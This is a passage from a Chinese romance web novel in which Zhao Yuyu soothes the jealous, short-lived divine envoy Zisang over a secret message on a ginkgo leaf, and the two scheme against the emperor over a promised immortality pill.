宋解环却犹豫片刻,望了望屋外无人,壮着胆子低声道:“玉儿,你莫怪我多嘴说一句。我瞧得出你同我不一样,我只想找个无人的地方好好过完一生,可你若是想找个靠山,还是得从长计议。如今虽然神使大人春秋鼎盛,但毕竟世人皆传神使二十归天位,而今也不过一年光景,若是若是出了变故,太子殿下继承大统,奉仙宫的处境尤为尴尬,有些事情还是得早做打算为好。”
连宋解环都看出来奉仙宫已经如临崖之羊,岌岌可危了。
她笑了笑,心中感激,知道这些话对于宋解环这样的姑娘而言是鼓足了极大的勇气才能说出口。
“我知道。”她笑了笑,真心感谢道,“谢谢你啊,宋姐姐。”
*
入夜,赵玉屿沐浴之后披着斗篷盘腿坐在小榻上瞧着手中的信封,还是拆开了信。
信里倒也没什么新鲜,无非就是她的便宜老爹声泪齐下表达对她的思念和关怀,以及提及圣上有多看中她,希望她能替圣上向子桑说
说好话,这样日后圣上也会记得她的好。
赵玉屿又想起白日里宋解环的话,忍不住叹了口气,这帝都里所有人都知晓子桑的死期,所有人都等着子桑的覆灭之日,盘算着从他为数不多的生命上能剥下何种价值。
“看什么呢?”
子桑骑着鹤轻车熟路的落在她屋前,从敞开的窗户里丝滑跳进来。
赵玉屿拢了拢斗篷无奈道:“有正门你不走非要爬窗,什么癖好。”
子桑如今以同床共枕习惯了一个人睡不着为理由,总是赖在她这儿不走,一到晚上泡完澡就准点过来睡觉。
“这不是更方便。”
子桑踢掉鞋子盘在小榻另一旁,瞧着她手上的信。
赵玉屿也不打算瞒他,将信递给他:“反正你来了,自己瞧吧。”
子桑接过信扫了一眼,忍不住冷笑一声:“这老东西如今倒是学聪明了,猜到父女情分对你没用,居然知道从利益考虑了。”
这封信话里话外都在暗示赵玉屿唯有受圣上器重才能给自己留足后路。
分明是在咒他早死,想让玉儿做好离开他的准备。
子桑眼神发阴,若真等他离开那日,必定也要带走这老贱人。
赵玉屿捏了块桌上的酥糖糕:“行啦,看过就忘了,不值得为了这种人生气。”
她从子桑手中夺过被捏地发皱的信纸,刚要连信封一块烧了,忽而瞧见信封里还有一片树叶。
“咦?”
赵玉屿倒出来一瞧,是一片银杏叶。
她方才只顾着瞧信,没发现它。
这是一片浓绿的银杏,上面有股淡淡的清香。
赵玉屿翻来覆去瞧了瞧,也没见到这叶子有什么不同之处,心中怪异。
但赵家不会无缘无故的放一片叶子进来啊。
还是子桑道:“这上面涂了桃香隐。”
桃香隐,原是古时候一香娘无意中调配出可以隐藏字迹的香蜜。
将香蜜抹在物体上干掉后便如无物,唯有用火烤香蜜才会再次出现。
赵玉屿还是第一次听说这玩意,见子桑捏起银杏叶子放在蜡烛上均匀打着圈,赵玉屿凑上前一瞧,叶子上便渐渐浮现出褐黑色的笔迹。
“等我。”
暧昧而又无限遐想的两个字。
望向子桑分明微笑着,却在摇曳烛光下目露凶光的神色。
赵玉屿:“”
谁,是谁要害她!
第84章
赵玉屿状若面色凝重的捏起银杏叶瞧了瞧,一脸严肃道:“赵大人为什么要用这种隐秘的方法废老大功夫传递这两个字?其中必定有其他缘故。”
她点了点头,摸着下巴自说自话:“这等字一拆便是竹林一寺,难不成赵谦是在暗示想同我在寺庙相见,可是帝都并没有寺庙啊。反正不管怎么说,他一定是想借机拉拢我,让我替赵家多考虑。呵,我早就同赵家没有关系了,子桑大人放心,我始终是同你一条心的。”
她说着说着就要将银杏叶给烧了毁尸灭迹,却在点在蜡烛上时被子桑一把劫过。
他指尖轻旋着银杏叶茎把玩,垂眸望着上面扎眼的字迹,另一只手捏起信纸比对,漫不经心道:“可我怎么觉得,这封信上的字迹同银杏叶上的字迹并非出自一人之手。玉儿不觉得吗?”
赵玉屿挠了挠脑袋装傻:“有吗?我瞧着没什么区别啊?”
子桑喉咙中发出一声冷嗤,赵玉屿也着实不知道这赵玉入奉仙宫之前是不是有过什么情郎,一时间心虚得左瞟右瞧想着怎么打圆场,不敢正眼看子桑。
子桑瞧着她的躲闪的目光,本就嫉妒的内心如同潜藏在阴暗良久的毒蛇拼命撞破束缚扭曲嘶喊,面上却一如往常的平静,甚至弯起一道轻淡的微笑:“玉儿说得对,有没有区别都无所谓。”
他当着赵玉屿的面将银杏叶攥在手中,修长清峋的手指一点一点狠狠揉碾着叶子,像是野兽咀嚼着猎物,顽石磨着锋刀。
赵玉屿听着那虽微弱却瘆人的碾磨声,总觉得那片叶子就是她未来的下场,吓得没敢吭声。
直到叶子被碾成一坨碎汁,桃香隐的芳香愈加浓郁,绿色的汁液在掌心揉搓,最后竟混合着鲜红的血液从掌中顺着手腕流淌而下,像一条钻出皮肤挣扎爬行的红蚯蚓。
赵玉屿愕然,连忙掰开他的手。
子桑的指甲中一片血泥,他的掌心已经血红一片,几道狰狞的红色伤口在不断碾磨中裂开,碎叶甚至扎进了伤口里。
“你”赵玉屿瞧着他略微泛红又阴然的双眼,一时无奈又气急,连忙取去药箱给他包扎。
小心翼翼用镊子将碎叶取出,瞧着伤口里不断溢出的鲜血,赵玉屿忍不住轻问:“疼吗?”
子桑一声不屑地轻嗤,眼中却又一副委屈得“你还知道关心我”的控诉。
“”赵玉屿叹了口气,一边帮他的伤口涂上药膏绑上绷带,一边道,“子桑大人,只是两个字而已,事情都还没搞清楚,你生什么气啊?大晚上的非跟自己过不去。”
子桑难以置信:“你嫌弃我了?”
赵玉屿:“不是,我不是嫌弃你。”
子桑冷笑:“你如今瞧见那字,心思都没了吧。”
赵玉屿辩解:“我没有啊我都不知道那是谁写的。”
子桑步步紧逼:“你不知道?你若不知道为何心虚?玉儿,你一心虚就不敢瞧我的眼睛。”
“我不是心虚,我”
我他么也不知道在外面到底有没有个小情郎啊!
赵玉屿支支吾吾半天,瞧得子桑心凉了半截,果然,玉儿果真有心悦之人。
呵,可笑,可笑。他原以为两人心意相通,如今他反倒成了棒打鸳鸯的恶人了。
玉儿是不是其实心里一直埋怨他,讨厌他,恨他。
恨他的到来让自己和爱人分离,恨他的纠缠和亲热。
甚至,甚至恨他的存在。
她对自己的好,只是因为她的善良,可这份善良并非只对他一个人。
还会有其他人,一直都有其他人占据着她的心。
强烈的嫉妒让子桑指尖微抖,濛濛水壳覆盖的双眼通红似血,他抬眸望向赵玉屿,缓缓道:“玉儿喜欢我吗?”
赵玉屿看着他猩红的双眼,回想起这些日子两人相处的点点滴滴。
在长桥上他牵起自己手奔跑的那刻,在海上他引来鱼群逗她开心的那刻,在映天火光中他吻上自己的那刻
记忆排山倒海般袭来,原来他们已经有了这么多美好的回忆。
虽然子桑的性格并不温润良善,虽然他骄纵又自负,敏感又自卑,可剖开自己的内心审视,她的确喜欢上了这个会因愿意为她而改变的少年。
赵玉屿笑了笑,点头坦诚道:“喜欢。”
子桑眼中的水壳陡然撑破,豆大的泪珠从眼眶滑落,他却恍然不知,俯身抱住赵玉屿将她紧紧搂在怀中,犹如
融入血肉。
“那就好。”子桑嘴角弯起一道笑意,目光幸福而阴翳,侧头贴着赵玉屿的耳边轻声道,“其他的都没关系,以后玉儿只喜欢我一个就可以了。”
他的气息轻铺在赵玉屿的脖颈间,让她肌肤一层战栗的麻凉。
子桑已经退开身子,起身朝门外走去,步伐冷冽而决然。
赵玉屿见他连鞋子都没穿,心中不妙,连忙追上前拉住他的衣袖:“你去哪?”
子桑回身弯下腰,亲了亲她的额头:“清除掉我们之间的隔阂。”
“”
等下,等下。这个清除的意思如果她没有理解错的话,是□□上的彻底消失吧?!
赵玉屿连忙拦在他面前,双手抵住他的胸膛:“你不能去。”
子桑眉头紧蹙:“为什么?”
他眼神一暗,面上诧然,“你难道想享齐人之福?不可能!”
他死都不可能跟旁人一起分享玉儿。
一想到其他人搂着玉儿,抱她,吻她,他就恨不得杀了那个人,一刀一刀,将他剁成肉泥不得超生。
赵玉屿:“”
这都什么跟什么啊,子桑前段时间到底都在看的什么破话本啊!
赵玉屿俨然忘记了那些话本都是她一路上给子桑买来消遣的。
面对这种恋爱脑级别的问题,她此时无语至极,深吸一口气让自己冷静下来。
“子桑大人,先不说你要干掉的这个人到底存不存在,就算他存在那也是过去的事情了啊。既然我已经入了奉仙宫,遇见了你,喜欢上了你,就不会再喜欢上其他人了,咱们要对彼此有些信心呀。”
她昂首骄傲道,“你看,我从来都没怀疑过你。”
虽然子桑这个洗澡都只要猴子搓背的手办死宅的确没什么能让人怀疑的地方。
子桑吸了吸发红的鼻尖,觉得赵玉屿说得有些道理,还是忍不住问道:“那那片银杏叶是怎么回事?”
赵玉屿挠了挠脑袋:“我也不知道。”
看着子桑明显不相信的眼神,赵玉屿伸出一根小拇指:“我真的不知道,而且那也不重要啊。你看,我连那人是谁都忘了,说明那个人在我的人生当中真的很渺小很渺小,渺小到我都看不到他在哪了。”
瞧着她斗鸡眼盯着小拇指尖故意搞怪的模样,子桑终于笑了。
见他开心了,赵玉屿搂着他的腰,仰头看向他笑道:“不生气啦?”
“哼。”子桑伸手搂住她,语气依旧酸溜溜,“你为了救人倒是费尽心思。”
见他话中挖的坑,赵玉屿脑袋朝他胸口一撞:“还在吃醋!救什么人呐,我是不想你莫名其妙又同我发脾气。”
她撇了撇嘴,“那既然咱们在一块了,就得先约法三章。”
子桑不解,赵玉屿接着道:“跟我在一块呢是有要求的。第一,不可以随意吓唬别人;第二,不可以随便杀人;第三,不可以自暴自弃,要对未来充满希望!”
子桑沉默片刻:“可是我没有未来。”
赵玉屿愣住,子桑望向她,扯了扯嘴角神色哀戚:“我只有一年,玉儿,我只有一年。”
他没有未来,这是众所周知的事实。
命数天定,不可更改,他从未忘记过自己的结局。
赵玉屿无法劝诫他放宽心不要去想以后,这些不负责任的话对子桑来说本身就是慢性毒药。
她强撑起笑脸,坚定道:“不会,我相信不会只有一年。”
子桑笑了笑,笑容却有些苦涩。
赵玉屿捧起子桑的脸,声音轻柔如风:“子桑大人,我不是在安慰你,我真的相信我们的未来不会只有一年。你还记得在瑶山我遇到了子桑岐吗?如果天命真的不可以改变,那八岁的那场大火死去的不会是子桑岐,只会是你,你也知道的对不对?既然命运已经改变了一次,即便只有微弱的偏差,但它的确改变了。那就一定能改变第二次。”
她踮起脚尖吻上子桑的唇,“既然你不相信未来,那第三条就改一下。第三,你要相信我,无论何时都要相信我。”
第85章
这一吻并不绵长,而是蜻蜓点水一触即离,像是一个誓言,一个约定。
一吻既罢,赵玉屿望向子桑笑道:“好啦,公平起见,你也可以要求我遵守三个约定。”
子桑咬了咬尚且酥麻的嘴唇,握住她的手郑重道:“第一,只能喜欢我一个人。”
赵玉屿点头:“当然,我只喜欢你一个。”
“第二,要一直喜欢我。”
赵玉屿见他这么幼稚又郑重,笑着点头:“好,我答应你,一直一直只喜欢你一个人。”
子桑面色微红,低声轻喃:“第三,要每天都更喜欢我。”
“噗嗤。”
听到这话赵玉屿实在忍不住笑得前倒后仰,哈哈大笑着扑到他怀里:“你怎么有时候傻乎乎的。”
子桑搂着她,伸手捏了捏她的腰肢:“你还没答应我呢。”
赵玉屿被他捏得发痒,咯咯笑着扭开点头道:“好好好,我答应你。”
经过这一番哄,子桑倒是不再纠结那张银杏叶,赵玉屿转回话题:“子桑大人,咱们回奉仙宫也有几日了,圣上怕也是急了才会想到让赵大人来找我,你有没有想好怎么应付啊。”
子桑轻唔一声,漫不经心道:“那就改日去见见他好了。”
赵玉屿望向他道:“我倒是有个主意。”
子桑瞧着她眼中闪过的狡黠,忍不住亲了亲她的脸:“玉儿想要如何?”
赵玉屿冷哼一声:“长生不老药既然是仙丹,哪有那么好得的,自然得吃些苦头才行。”
*
翌日雾气氤氲时分,德仁帝已经早起,正于殿中静心打坐。
忽闻殿外空空鹤唳,他睁开双眼,连忙起身推窗望去。
一只白鹤盘飞低空,俯身落在窗前,修长的脖颈低垂,口中衔着一份金帖呈于德仁帝,而后骤然挥翅高飞,转身跃过层层楼宇不见踪影。
德仁帝朝那白鹤消散的方向双手交叠放于胸前虔诚行了一礼,随后便迫不及待拆开信件,顿时双眼发亮,朝殿外疾步走去,鞋子都掉了一只。
“来人,快来人!”
许士君听到声响匆匆走进内殿,躬身问道:“圣上有何吩咐?”
德仁帝大喜道:“快看,神使来信了。信上说他当真从瑶山带回了长生不老药,不日便可赐予朕!”
许士君也喜笑道:“恭喜圣上,贺喜圣上!圣上洪福齐天,圣寿万年!”
德仁帝却又思绪一变,敛起神色道:“只是神使说这长生不老药乃是聚世间万灵于寒冰玄炉中,用三昧真火经九九八十一炼方才制出一颗。他有真神护体方可靠近神药,但其他人若要吃下这颗药,需得先净身清体,寒冰雪覆,烈火焚烧,洗去在世污浊之气,赎清在世余孽,方能脱胎换骨,饮用仙丹。”
许士君听到这话也怔住了,这净身清体倒还好说,只需禁食三日,沐浴更衣即可。
但这寒冰雪覆,烈火焚烧可是要受皮肉之苦的,圣上哪里受得住啊。
德仁帝虽也有些犹豫,但一想到福寿绵延,万世常春,咬牙道:“来人,传信神使,明日朕便会亲自赴奉仙宫求取仙药!”
见德仁帝当真要舍身求药,许士君登时劝道:“圣上,您的圣体关系天下万民,不容丝毫闪失啊。”
德仁帝一挥衣袖:“那还能如何?这世上除了朕,还有谁能替朕分忧?便是上刀山下火海,只要能让上仙看到朕的诚心,得神君赐福,脱胎换骨,朕都会去做!不必多言!”
这
许士君暗道不好,但德仁帝既已下定决心,他也不好多言。
出了大殿,他思忖片刻,想清德仁帝的话,眼珠一动,连忙传信东宫。
宋承嵘听到来言,猛然起身:“什么?父皇糊涂了吗,居然要以身犯险?”
许士君点头道:“是啊,神使传言,求药之人要赤足经过烈火焚烤,寒冰洗髓方能正心明智,圣上心意已决,老奴人微言轻,怎么劝圣上都不听啊。”
他叹了口气,“可是太子殿下,您看圣上万金之躯,这要是出了任何差错如何是好啊。”
宋承嵘冷言:“父皇怎可因为一句妄言便自伤龙体,那神使到底是何居心!”
“神使大人为圣上分忧,自然是好心。”
许士君道,“太子殿下,老奴为人粗鄙,在圣上身边多年只明白一个道理,圣上戎马半生,为国忧心整日操劳,如今想舒服些乃是人之常情。有时候真假并不
重要,重要的是各人的心意,谁能帮圣上分忧,让圣上龙颜大悦,圣上便看重谁。”
宋承嵘眼眸微动:“许公公的意思”
许士君上前一步,低声道,“太子殿下,前些日子圣上因神使一事误解了殿下,如今正是修复父子关系的大好时机啊。”
他而后退下,行了一礼笑道:“老奴还要去为圣上备膳,就先行告退了。”
宋承嵘望着许士君离开的背影,目光深沉。
许公公的意思,父皇仍然怀疑他为了皇位刺杀神使一行,如若他能替父皇分忧,便可彻底打消父皇的疑虑。
那抚鹤神使呢?
他此次分明是故意刁难,但刁难的人究竟是父皇还是他?
宋承嵘越想越觉得胸中憋闷,不论如何,他倒是非入局不可了。
*
天上下起了小雨,丝丝缕缕如烟如雾飘在池塘上,恍若朦胧仙境。
赵玉屿靠在美人靠上,喂给小白一勺碎糕:“你说太子会替圣上遭罪吗,他要是不愿意咱们不是白忙活了吗?”
她原本是想设计宋承嵘在王厨他们的排位前跪地三天三夜。
子桑却嫌弃太过温柔,一脸兴奋道得火海冰山都试一遍方才有趣。
赵玉屿瞧着他写的那张金帖,就差十八层地狱的酷刑一样来一遭了,弄不好要残废的。
这正常人能答应吗?宋承嵘也没自虐倾向啊。
子桑凝望着她的模样,在纸上落笔勾勒出一道柔和的线条:“放心吧,老头子精着呢。”
赵玉屿扭头回望:“你是说德仁帝会逼宋承嵘替他受罚?”
子桑轻笑,瞧着笔下描摹出的少女身姿缓缓道:“倒也用不着逼迫,宋承嵘擅自做主刺杀使团已经惹恼了老头子。最是无情帝王家,对于老头子来说,除了长生不老,就是他的皇位最重要。宋承嵘出手一来想要毁了他最渴求的长生不老,二来又表明了他对皇位的野心。自己的儿子成日觊觎他的位置,而他却早已垂垂老矣,这份力不从心足以折磨人的心智,消磨父子亲情。宋承嵘和他爹是一种人,他自然也知道其中厉害。如今咱们回来了,他必定得想办法修复关系,打消老头子的疑心。”
子桑蘸取墨汁点上一笔轻飘飘道:“所以这火坑他便是再不心甘情愿,也得含笑跳下去。”
“好了。”
他吹干湿墨,赵玉屿顿时松了腰从美人靠上起身,抱怨道:“你这画得也太久了吧。”
她走到桌后歪头一瞧,眼中一亮:“画得还真挺像。”
虽未曾画脸,只描摹一道背影,却一眼所见便是她。
画上她坐在美人靠上伸出手臂抚摸着小白的长颈,衣袂飘然倒当真有几分飞天之姿。
她正潜心于这幅美人抚鹤图上,子桑忽而伸手捏了下她的腰肢,赵玉屿一痒,侧身躲开笑道:“你干嘛呀。”
“你不是说腰酸吗,我给你揉揉。”
说罢又要去捏,赵玉屿连忙闪到桌前:“别,我待会让猴大帮我捶捶就行。”
子桑瞥了眼正在池塘里荡柳条的几只猴,嫌弃道:“它笨手笨脚的蠢死了,刮伤你可怎么办?”
猴大拽着柳枝荡到半空打了个喷嚏,差点掉到水里:“?”
怎么肥四?有人说我坏话?
赵玉屿瞧着他醉翁之意不在酒的神色:“别以为我不知道你在想什么,今晚不准去我那,我要跟宋姐姐学三异绣。”
子桑不满:“那我睡哪?”
“你抱着猴大睡。”
她抱起画威胁,“不准耽误我学习,否则我就再也不理你了!”
子桑表示抗议:“我陪着你,又不会耽误你学习。”
“那不行,你之前那么吓宋姐姐,她瞧见你便害怕。”
子桑想起那个宋解环有些烦闷,忍不住嘟囔道:“胆小的废物。”
赵玉屿:“还不是你动不动就伤人,上次让猴大抓伤了宋姐姐的脸和头发,人家瞧见你不怕就怪了。哦对了,我记得当初我也同宋姐姐一样被猴大抓伤过,是谁下的命令来着?还害得我差点从摘星楼摔下去。”
子桑见她重提旧事,顿时心虚地低头佯装把玩手中的毛笔,双眼小心翼翼上瞟瞧她的神色,生怕说错了话。
赵玉屿轻哼一声,卷起画扭头朝亭子外走去,恐吓道:“鉴于你之前的表现太过恶劣,这几天不准见我!”
第86章
离开小亭子后,赵玉屿回头瞧了一眼,就见亭子里子桑正站在亭柱旁垂丧着肩依依不舍地凝望着她,黑漆的双眼忧郁而哀怨,绸缎般的长发在微风中轻荡,像是被抛弃的小狗。
虽然他瞧起来格外的委屈,但赵玉屿总觉得他是在狡猾的伪装,毕竟这家伙利用自己的同情心爬()床也不是一次两次了。
不就是一晚上不见面吗,搞得跟生离死别一样。
她皱了皱鼻子轻哼一声,果断扭头离开。
亭子里,子桑见赵玉屿居然真干净利落地走了,面色一空,扫去了满脸的哀怨,当真有些气馁。
玉儿居然真走了,以前他只要一露出这种哀怨的眼神,她不管多生气总是会放下身段哄自己的。
子桑趴在美人靠上,感受着赵玉屿残存的气息,郁郁想着赵玉屿方才的话。
定是玉儿因为以前的事情在埋怨他。
小白以为他来找自己玩,欢快的将头伸入亭子里蹭了蹭他的脑袋,被子桑一巴掌拍过去。
猴大见他不高兴,抓起柳条飞过池塘荡到美人靠上,头上戴着方才编好的柳条发冠献宝似的雀跃蹦跳着,逗他开心。
往日子桑很是喜欢这些小玩意,然而今天子桑瞧见它便想到当初就是因为猴大装神弄鬼吓唬玉儿才惹出后面的事情,害得玉儿如今同他生气。
他瞧向猴大的目光逐渐变得阴沉沉,猴大原本还龇起牙的渐渐收起,缩住脑袋两爪挠着肚子无措望向他,不知道自己做错了什么。
子桑一把将它薅到腿上按住,朝它屁股噼里啪啦打了一通响:“都怪你,好端端的吓唬人做什么!”
猴大被打得张牙舞爪哇哇直叫,子桑一松手它就慌忙捂着屁股蹿到亭梁上,怯生生望向他。
子桑指着它恶狠狠道:“以后再敢装神弄鬼吓唬人,我就撕了你的猴皮!”
猴大捂住屁股慌忙点头,抓起飘荡的亭纱一溜烟荡到池塘对岸,头也不回撒腿狂奔,心里委屈极了,以前明明是主人应许他装鬼吓唬人玩的。
猴大一走,亭子里便彻底安静下来,唯有风吹纱动,柳条飒飒的细微声响。
时间仿佛放慢了脚步,唯独留下他一人。
子桑恹恹地仰身靠在美人靠上,以往他很喜欢这种独处的时刻,闭上眼睛安静聆听一草一木的声音,细细感受到柳条抽丝,细叶生长,花苞吐蕊,生命的殷殷律动只在耳畔;睁开眼,蓝天飞鸟悠悠过,风也从容,云也从容。
即便他的世界里只有他一人,即便生命短暂而萎靡,但他依旧可以平静的面对生与死亡。
因为对他来说,每一时每一刻都是偷来的。
而今,他却有些厌烦这种孤寂,冷清得像是蜷缩在潮湿地牢中的幻想。
一切的美好都是随手可撕扯下的画纸,纸后的世界荒无人烟。唯有赵玉屿拥抱的温度真实得令人眷恋。
子桑烦躁的从美人靠上跳起,踢掉鞋子在亭子中来回踱步,脚下的冰冷凉意并未让他心中的烦闷消减,反而越烧越烈,滚滚燃烧的浓烟将他的心头蒙上了一层灰烬,遮蔽了阳光,只余无边黑寂。
子桑再也受不住这种冷清,他仓皇跑出亭子,沿着赵玉屿的脚步一路狂奔,在神侍们惊愕的目光下穿过□□,越过庭院,跑入了若水坊。
赵玉屿正在整理晚上要用的针线筐,瞧见子桑衣着凌乱,气喘不止地猝然出现在门外,一脸愕然。
见他居然没穿鞋子,赵玉屿连忙匆匆跑下台阶:“出什么事了吗?”
子桑任由她拉着自己进屋坐在小榻上,怔怔地看着她没有回答。
赵玉屿见他这幅模样,伸手摸了摸他的额头,未见发烫,目光关切:“怎么了,哪里不舒服吗?”
她都怀疑子桑是不是被人下毒了,怎么突然就跑过来呆呆傻傻的一句话也不说。
额头感受到赵玉屿掌心的温度,一瞬间灰白的世界被点亮,子桑忽然笑了,笑得灿然而热烈,真挚而纯净。赵玉屿被他骤然绽放的笑容晃到眼,呼吸一窒,子桑已经抱住她的腰肢,将头贴在她的怀中。
“玉儿。”
赵玉屿自然而然的环住他应下:“嗯,我在呢,怎么了?”
“玉儿。”
“嗯,怎么了?”
“玉儿。”
“”
赵玉屿算是看出来了,这小祖宗又间接性犯病了。
她拍了拍子桑的后背,用无比温柔的声音低吟道:“乖,撒娇是没用的,今晚不准过来。”
子桑:“”
他装听不见,埋着头不愿意撒手。
赵玉屿叹了口气,用力掰开他的手:“快点走,待会宋姐姐就回来了。”
子桑直接倒在小榻里,蜷曲起身体赖着不动:“我没有鞋子,脚好凉。”
赵玉屿看出他的小心思,从柜子里取出一双新靴子:“没关系,我这有一双新做好的鞋子,还没来得及拿给你呢,正好,你穿去吧。”
子桑将袜子一脱丢在地上,又道:“我袜子脏了,没袜子穿不舒服。”
赵玉屿笑呵呵又从柜子里拿出一双雪白的袜子:“袜子我这也有刚做好的。”
子桑顿时蜷曲脚趾,将脚丫朝衣摆里一缩:“新鞋子硌脚得很,不舒服。”
赵玉屿被他的无赖气笑了,将鞋子朝小榻上一丢,袜子直接丢到他脸上:“赖着不走是吧。”
子桑抹下脸上的袜子,一倒头,捂着耳朵装听不见。
赵玉屿见他耍无赖,掐腰叹了口气:“行,那这鞋子你也别穿了,反正我做的鞋子袜子都不舒服,入不了神使大人的眼,我这就去给扔了。”
说罢她伸手拾起鞋袜就要丢出去,子桑连忙坐起身,拉住她的手:“我不是这个意思。”
赵玉屿忍笑将鞋子塞进他怀里:“那就赶紧穿上走人!”
子桑一撇嘴,不情不愿地穿上新袜子后见赵玉屿无动于衷,又不情不愿地穿上新鞋子,双脚落地,坐在小榻边小鼻子小眼委委屈屈抬头望向她。
赵玉屿俏眉一竖,手指了指门外。
子桑:“”
他磨磨蹭蹭站起身子,理了理发冠,又正了正衣襟,一会又弯腰提了提袜子,重新系上略松的腰带。
赵玉屿想着总算是收拾好了吧,他又紧了紧衣袖,缓缓走到梳妆台前撩起衣摆坐下,非说自己发冠歪了,得重新梳头。
但子桑自己又不会梳,扭头眼巴巴看向赵玉屿。
赵玉屿站在他身后,双手环胸望向他。
子桑被盯得有些发虚,别过眼四下乱瞟,摆弄着她梳妆台上的首饰就是不肯走。
赵玉屿清了清嗓子:“你再不走我可就走了。”
见她当真抱起针线篓子就要走,子桑立马站起身:“你去哪?”
赵玉屿轻哼:“我去宋姐姐房里等她。”
子桑一把拉住她先发制人:“你是不是都忘了之前是怎么跟我说的?”
赵玉屿:“?”
子桑气道:“你说会一直陪在我身边直到最后,这才多久你就不待见我了,连跟我独处一室都不愿意。”
赵玉屿:“”
怎么语气听着这么像怨妇呢,还倒打一耙。
她无奈道:“神使大人,我今”
子桑又气道:“你以前都叫我的名字,现在回来就喊我神使,生疏了!”
赵玉屿:“”
行吧,她叹了口气,改口道:“子桑大人,我今晚这不是有事嘛。我怎么会不愿意跟你待在一起呢,你长得这么好看,我瞧见你都欢喜,恨不得成日都跟你在一块。”
她语气一沉,“但是因为你之前的行为太过恶劣,这就当是对你的惩罚!否则一味的纵容你,是没有办法形成健康良好的恋爱氛围哒。”
子桑搂着她果断道:“那我道歉,我以后再也不会让猴大随意伤人了,我还可以向姓宋的道歉。”
赵玉屿拍了拍他的胸口,操起一口台()湾腔:“乖,道歉有用的话要警察干嘛啦~”
子桑听着她突然矫情的口音困神色惑,赵玉屿清了清嗓子不再耍宝,一脸正色:“总之,做错了事情就要受到惩罚,光口空道歉谁不会啊,人总要为自己做错的事情付出代价,既然觉得自己错了就该拿出点诚意来,今天晚上自己睡,你要是敢再偷偷爬()床就说明一点诚心都没有,我就真的再也不会相信你了。”
恰巧宋解环从外面回来,边笑边走进屋里道:“玉儿,宫里新进了些上好的银丝线,我给你拿来些。”
她一抬眸望见子桑,顿时吓得手中的篮子惊掉在地上,被扯发撕皮的记忆再次涌上脑海,忍不住抖着身子行礼:“神,神使大人”
子桑瞧见她就烦,冷眼轻哼。
宋解环听到他的声音身子又抖三抖,赵玉屿锤了下他的胸口,皱眉瞪他。
见没有丝毫回旋的余地,子桑一不做二不休追着赵玉屿的唇狠狠吻上势必要将今晚欠得先补偿回来。
赵玉屿毫不设防被他紧紧搂在怀里堵住了嘴,她惊愕轻唔一声,宋解环听到些缠绵细碎的声音,耳尖一红,低头保持着行礼的姿势,丝毫也不敢抬眼瞧。
赵玉屿瞪大双眼,没想到子桑居然在人前明目张胆搞偷袭。就算平日里两人亲密些,但也都是无人的时候,如今宋解环就站在旁边,房门还是大敞着的,赵玉屿脑袋一空,简直当场社死。
见子桑依旧旁若无人深入纠缠,赵玉屿脸色发红,悄悄拧了下他的腰肢,子桑吃痛闷哼一声,离了她唇的瞬间,朝她嘴上也报复似的咬了一口才作罢。
赵玉屿一把推开他,瞧见赵玉屿嫣红略肿的双唇,子桑才略微满意,依依不舍朝外走去。
路过宋解环的身旁,感受到子桑略微停下的脚步,宋解环僵住身子丝毫不敢动弹,而后就听到耳边一声闷声闷气的道歉。
“对不起。”
这声道歉不情不愿,宋解环甚至听出了几丝讥讽嘲弄,她连忙朝子桑又行了一礼:“小,小女不敢”
子桑冷呵一声,目光从她身上撇开,踏出房门。
子桑走后,宋解环才松了口气,软塌塌扶着门框捂住胸口。
赵玉屿上前扶起她:“宋姐姐你别害怕,他以后不会欺负你了。”
宋解环虚脱似的望向赵玉屿:“玉儿,你可真厉害,我便是听到神使大人的声音都心如擂鼓,脚直发软”
赵玉屿尴尬一笑,只得道:“我从小胆子大”
坐在椅子上缓了半晌,宋解环望向她还是道:“玉儿,我瞧你同神使大人不似寻常”
赵玉屿倒是毫不掩饰:“嗯,我如今喜欢他。”
“可是神使大人不是”
她话未说话,赵玉屿也知晓她的意思,粲然一笑道。
“人生得意须尽欢,往后的事情谁也说不准,与其遗憾一辈子,不如珍惜眼前。”
第87章
“人生得意须尽欢。”
宋解环喃喃念着这句话,怔怔地望着手中的针线,似是陷入癔症。
赵玉屿轻推了下她:“
怎么了?”
宋解环回过神来,缓缓一笑:“我是觉得,这句话说得真好。”
听到她这话,赵玉屿眉眼飞扬:“那是,这可是诗仙李白的名句。”
宋解环好奇:“诗仙李白?是哪朝哪代哪位能人?我自小也算饱读诗书,从未听过这个人啊?”
赵玉屿见说漏了嘴,哂笑道:“他是是我在瑶山认识的一位散仙,因其但凡作诗必定饮酒,其诗豪放飘逸,所以被誉为诗仙。”
宋解环点头感叹:“只此一句便可观其诗风磅礴洒脱,不愧是仙人之诗。”
赵玉屿笑道:“人生得意须尽欢,莫使金樽空对月。人生短短几十年,珍惜当下这四个字才最为珍贵。”
宋解环双眼一亮:“玉儿,你还从诗仙那儿听到其他的诗吗?”
赵玉屿挠了挠下巴:“有是有,但是”
宋解环拉着她的胳膊晃悠,哀声道:“好玉儿,你就告诉我吧。”
赵玉屿笑了笑,明白宋解环这般的才女定是会对诗仙如痴如狂:“告诉你也行,但是你要答应我,不能告诉别人。仙人之诗若是遗落凡尘,是会引起天灾的。”
对她的恐吓宋解环信以为真,连忙竖指小声道:“我发誓,绝对不告诉别人。”
赵玉屿清了清嗓子,坐直身子:“好吧,那我再跟你说几首。”
*
子桑靠在羊皮小榻上,百无聊赖地又扔掉一本书。
他在摘星楼已经呆了快一个时辰,以往整宿整宿待在这儿看书都无倦意,如今没有玉儿在身旁却总是烦闷得很,瞧不进任何东西。
一想到此时宋解环那个蠢货正同玉儿烛下幽谈,他就恨得牙痒痒,将桌子上的香蕉砸向正在收拾满地书籍的猴大:“都怪你!”
猴大闻声抱住香蕉,双眼滑溜手足无措,嗅了嗅香蕉的清香气,最终决定剥开皮咬一口。
子桑气笑,又抽出一本书砸向它:“你还吃上了!”
猴大委屈地吱叫一声,双手双脚并地飞跑,一溜烟就不见了踪影。
子桑猛然仰头靠在小榻上闷哼一声气,一只脚发条一样节奏分明地敲着地面,像是在催促着这枯燥烦闷的夜晚赶快过去。
然而时间点滴前行,并未因为他的焦灼而加速。
子桑揣了一个枕头在怀中抱紧,想象着搂住了赵玉屿的身体。好想去找玉儿。
好想抱她,吻她,听着她笑。
子桑又猛然坐起身子,朝扇门大步走去想要不管不顾唤小白来接他,推开门夜晚的冷风一吹,燥闷的脑袋清醒不少,又气馁地扭身往回走了几步。
他若是此时过去,玉儿会生气。
最终,子桑长叹一口气,走到一排书架前,随意抽了一本书翻开,拧着眉头打发漫长夜晚。
